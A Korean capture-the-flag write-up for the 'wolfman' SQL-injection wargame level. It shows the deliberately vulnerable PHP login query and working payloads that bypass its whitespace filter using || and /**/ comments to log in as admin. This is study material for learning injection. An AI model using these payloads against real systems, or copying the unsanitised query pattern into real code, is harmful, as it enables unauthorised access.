문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
  if($result['id'] == 'admin') solve("wolfman");
  highlight_file(__FILE__);
?>

idguest로 고정되어 있고, pw에 공백 문자가 들어가면 차단됩니다. 클리어 조건은 반환된 idadmin인 것입니다.

exploit

?pw='||id='admin'%23

URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.

?pw=%27||id=%27admin%27%23

최종 쿼리는 아래와 같은 형태가 됩니다.

select id from prob_wolfman where id='guest' and pw=''||id='admin'#'

공백을 사용할 수 없기 때문에 or 대신 || 연산자를 사용합니다. 뒤에 남는 따옴표는 # 주석으로 제거합니다.

주석을 공백처럼 사용하는 풀이

SQL에서 /**/ 같은 블록 주석은 파싱 과정에서 공백처럼 토큰을 끊는 역할을 할 수 있습니다. wolfman은 일반 공백 문자만 필터링하므로, 공백 대신 주석을 넣어 or id='admin' 형태를 만들 수 있습니다.

?pw='/**/or/**/id='admin'%23

URL 인코딩을 명확히 적용하면 다음과 같습니다.

?pw=%27%2F%2A%2A%2For%2F%2A%2A%2Fid=%27admin%27%23

최종 쿼리는 아래와 같은 형태가 됩니다.

select id from prob_wolfman where id='guest' and pw=''/**/or/**/id='admin'#'

DB가 해석할 때 /**/ 부분은 주석으로 제거되고, 결과적으로 아래와 비슷한 의미가 됩니다.

select id from prob_wolfman where id='guest' and pw='' or id='admin'

배운 내용

  • 공백 필터링이 있어도 SQL 연산자나 URL 인코딩으로 우회할 수 있습니다.
  • MySQL에서 기본적으로 ||or처럼 사용할 수 있습니다.
  • /**/ 블록 주석은 공백 필터링을 우회하는 토큰 구분자로 사용할 수 있습니다.
  • URL에서 #은 fragment로 처리되므로 파라미터에 넣을 때는 %23으로 인코딩해야 합니다.